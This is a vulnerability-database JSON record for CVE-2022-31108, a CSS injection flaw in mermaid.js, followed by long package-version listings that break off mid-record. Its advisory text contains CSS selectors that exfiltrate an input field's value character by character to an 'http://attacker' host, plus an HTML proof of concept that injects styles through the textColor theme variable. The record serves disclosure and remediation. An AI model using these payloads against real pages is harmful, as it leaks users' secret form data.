{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/53774?format=json","vulnerability_id":"VCID-6qac-5y2d-akdd","summary":"Possible inject arbitrary `CSS` into the generated graph affecting the container HTML\nAn attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors.\n\nThe following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to \"load\" a background image that will let an attacker know what's the value of the character.\n\n```css\ninput[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }\n...\ninput[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }\n...\ninput[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }\n...\ninput[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }\n...\ninput[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }\n```\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n## Product\n\nmermaid.js\n\n## Tested Version\n\n[v9.1.1](https://github.com/mermaid-js/mermaid/releases/tag/9.1.1)\n\n## Details\n\n### Issue 1: Multiple CSS Injection (`GHSL-2022-036`)\n\nBy supplying a carefully crafted `textColor` theme variable, an attacker can inject arbitrary `CSS` rules into the document. In the following snippet we can see that `getStyles` does not sanitize any of the theme variables leaving the door open for `CSS` injection.\n\n_Snippet from [src/styles.js](https://github.com/mermaid-js/mermaid/blob/9eae97ddab1b6eca58d2fd4af62357d2f4d8d1f7/src/styles.js#L35):_\n\n```js\nconst getStyles = (type, userStyles, options) => {\n  return ` {\n    font-family: ${options.fontFamily};\n    font-size: ${options.fontSize};\n    fill: ${options.textColor}\n  }\n```\n\nFor example, if we set `textColor` to `\"green;} #target { background-color: crimson }\"` the resulting `CSS` will contain a new selector `#target` that will apply a `crimson` background color to an arbitrary element.\n\n```html\n<html>\n\n<body>\n    <div id=\"target\">\n        <h1>This element does not belong to the SVG but we can style it</h1>\n    </div>\n    <svg id=\"diagram\">\n    </svg>\n\n    <script src=\"https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js\"></script>\n    <script>\n        mermaid.initialize({ startOnLoad: false });\n\n        const graph =\n            `\n            %%{ init: { \"themeVariables\" : { \"textColor\": \"green;} #target { background-color: crimson }\" } } }%%\n            graph TD\n                A[Goose]\n            `\n\n        const diagram = document.getElementById(\"diagram\")\n        const svg = mermaid.render('diagram-svg', graph)\n        diagram.innerHTML = svg\n    </script>\n</body>\n\n</html>\n```\n\nIn the proof of concept above we used the `textColor` variable to inject `CSS`, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:\n\n- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393\n- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35\n\n#### Impact\n\nThis issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.\n\n#### Remediation\n\nEnsure that user input is adequately escaped before embedding it in CSS blocks.","aliases":[{"alias":"CVE-2022-31108"},{"alias":"GHSA-x3vm-38hw-55wf"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/81322?format=json","purl":"pkg:npm/mermaid@9.1.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.1.2"},{"url":"http://public2.vulnerablecode.io/api/packages/720627?format=json","purl":"pkg:npm/mermaid@9.1.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@9.1.3"}],"affected_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/144180?format=json","purl":"pkg:npm/mermaid@8.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-9hch-63av-c3e2"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-hbtz-4sw3-63dt"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/253993?format=json","purl":"pkg:npm/mermaid@8.1.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-9hch-63av-c3e2"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.1.0"},{"url":"http://public2.vulnerablecode.io/api/packages/253994?format=json","purl":"pkg:npm/mermaid@8.2.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-9hch-63av-c3e2"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.1"},{"url":"http://public2.vulnerablecode.io/api/packages/253995?format=json","purl":"pkg:npm/mermaid@8.2.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-9hch-63av-c3e2"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.2"},{"url":"http://public2.vulnerablecode.io/api/packages/36454?format=json","purl":"pkg:npm/mermaid@8.2.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.3"},{"url":"http://public2.vulnerablecode.io/api/packages/253996?format=json","purl":"pkg:npm/mermaid@8.2.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.4"},{"url":"http://public2.vulnerablecode.io/api/packages/253997?format=json","purl":"pkg:npm/mermaid@8.2.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.5"},{"url":"http://public2.vulnerablecode.io/api/packages/253998?format=json","purl":"pkg:npm/mermaid@8.2.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.2.6"},{"url":"http://public2.vulnerablecode.io/api/packages/253999?format=json","purl":"pkg:npm/mermaid@8.3.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.3.0"},{"url":"http://public2.vulnerablecode.io/api/packages/254000?format=json","purl":"pkg:npm/mermaid@8.3.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.3.1"},{"url":"http://public2.vulnerablecode.io/api/packages/254001?format=json","purl":"pkg:npm/mermaid@8.4.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.0"},{"url":"http://public2.vulnerablecode.io/api/packages/254002?format=json","purl":"pkg:npm/mermaid@8.4.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.1"},{"url":"http://public2.vulnerablecode.io/api/packages/254003?format=json","purl":"pkg:npm/mermaid@8.4.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.2"},{"url":"http://public2.vulnerablecode.io/api/packages/254004?format=json","purl":"pkg:npm/mermaid@8.4.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.3"},{"url":"http://public2.vulnerablecode.io/api/packages/254005?format=json","purl":"pkg:npm/mermaid@8.4.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.4"},{"url":"http://public2.vulnerablecode.io/api/packages/254006?format=json","purl":"pkg:npm/mermaid@8.4.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.5"},{"url":"http://public2.vulnerablecode.io/api/packages/254007?format=json","purl":"pkg:npm/mermaid@8.4.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.6"},{"url":"http://public2.vulnerablecode.io/api/packages/254008?format=json","purl":"pkg:npm/mermaid@8.4.7","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.7"},{"url":"http://public2.vulnerablecode.io/api/packages/254009?format=json","purl":"pkg:npm/mermaid@8.4.8","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.4.8"},{"url":"http://public2.vulnerablecode.io/api/packages/254010?format=json","purl":"pkg:npm/mermaid@8.5.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.5.0"},{"url":"http://public2.vulnerablecode.io/api/packages/254011?format=json","purl":"pkg:npm/mermaid@8.5.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.5.1"},{"url":"http://public2.vulnerablecode.io/api/packages/254012?format=json","purl":"pkg:npm/mermaid@8.5.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.5.2"},{"url":"http://public2.vulnerablecode.io/api/packages/254013?format=json","purl":"pkg:npm/mermaid@8.6.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.6.0"},{"url":"http://public2.vulnerablecode.io/api/packages/254014?format=json","purl":"pkg:npm/mermaid@8.6.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.6.1"},{"url":"http://public2.vulnerablecode.io/api/packages/254015?format=json","purl":"pkg:npm/mermaid@8.6.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.6.2"},{"url":"http://public2.vulnerablecode.io/api/packages/254016?format=json","purl":"pkg:npm/mermaid@8.6.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.6.3"},{"url":"http://public2.vulnerablecode.io/api/packages/254017?format=json","purl":"pkg:npm/mermaid@8.6.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.6.4"},{"url":"http://public2.vulnerablecode.io/api/packages/254018?format=json","purl":"pkg:npm/mermaid@8.7.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.7.0"},{"url":"http://public2.vulnerablecode.io/api/packages/254019?format=json","purl":"pkg:npm/mermaid@8.8.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.8.0"},{"url":"http://public2.vulnerablecode.io/api/packages/254020?format=json","purl":"pkg:npm/mermaid@8.8.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.8.1"},{"url":"http://public2.vulnerablecode.io/api/packages/254021?format=json","purl":"pkg:npm/mermaid@8.8.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.8.2"},{"url":"http://public2.vulnerablecode.io/api/packages/254022?format=json","purl":"pkg:npm/mermaid@8.8.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.8.3"},{"url":"http://public2.vulnerablecode.io/api/packages/254023?format=json","purl":"pkg:npm/mermaid@8.8.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.8.4"},{"url":"http://public2.vulnerablecode.io/api/packages/254024?format=json","purl":"pkg:npm/mermaid@8.9.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.9.0"},{"url":"http://public2.vulnerablecode.io/api/packages/254025?format=json","purl":"pkg:npm/mermaid@8.9.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.9.1"},{"url":"http://public2.vulnerablecode.io/api/packages/254026?format=json","purl":"pkg:npm/mermaid@8.9.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.9.2"},{"url":"http://public2.vulnerablecode.io/api/packages/254027?format=json","purl":"pkg:npm/mermaid@8.9.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.9.3"},{"url":"http://public2.vulnerablecode.io/api/packages/254028?format=json","purl":"pkg:npm/mermaid@8.10.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.10.1"},{"url":"http://public2.vulnerablecode.io/api/packages/254029?format=json","purl":"pkg:npm/mermaid@8.10.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"},{"vulnerability":"VCID-x94b-cysu-4fbe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.10.2"},{"url":"http://public2.vulnerablecode.io/api/packages/74520?format=json","purl":"pkg:npm/mermaid@8.11.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.0"},{"url":"http://public2.vulnerablecode.io/api/packages/275854?format=json","purl":"pkg:npm/mermaid@8.11.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.1"},{"url":"http://public2.vulnerablecode.io/api/packages/275855?format=json","purl":"pkg:npm/mermaid@8.11.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.2"},{"url":"http://public2.vulnerablecode.io/api/packages/275856?format=json","purl":"pkg:npm/mermaid@8.11.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.3"},{"url":"http://public2.vulnerablecode.io/api/packages/275857?format=json","purl":"pkg:npm/mermaid@8.11.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.4"},{"url":"http://public2.vulnerablecode.io/api/packages/275858?format=json","purl":"pkg:npm/mermaid@8.11.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.11.5"},{"url":"http://public2.vulnerablecode.io/api/packages/275859?format=json","purl":"pkg:npm/mermaid@8.12.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.12.0"},{"url":"http://public2.vulnerablecode.io/api/packages/275860?format=json","purl":"pkg:npm/mermaid@8.12.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.12.1"},{"url":"http://public2.vulnerablecode.io/api/packages/275861?format=json","purl":"pkg:npm/mermaid@8.13.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.0"},{"url":"http://public2.vulnerablecode.io/api/packages/275862?format=json","purl":"pkg:npm/mermaid@8.13.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.1"},{"url":"http://public2.vulnerablecode.io/api/packages/275863?format=json","purl":"pkg:npm/mermaid@8.13.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.2"},{"url":"http://public2.vulnerablecode.io/api/packages/275864?format=json","purl":"pkg:npm/mermaid@8.13.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.3"},{"url":"http://public2.vulnerablecode.io/api/packages/275865?format=json","purl":"pkg:npm/mermaid@8.13.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.4"},{"url":"http://public2.vulnerablecode.io/api/packages/275866?format=json","purl":"pkg:npm/mermaid@8.13.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.5"},{"url":"http://public2.vulnerablecode.io/api/packages/275867?format=json","purl":"pkg:npm/mermaid@8.13.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.6"},{"url":"http://public2.vulnerablecode.io/api/packages/275868?format=json","purl":"pkg:npm/mermaid@8.13.7","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fgz4-kbun-23bn"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.7"},{"url":"http://public2.vulnerablecode.io/api/packages/42831?format=json","purl":"pkg:npm/mermaid@8.13.8","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6qac-5y2d-akdd"},{"vulnerability":"VCID-fwuk-z3uk-1ygf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mermaid@8.13.8"},{"url":"http://public2.vulnerablecode.io/api/packages/319031?format=json","purl":"pkg:npm/mermaid@8.13.9","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-6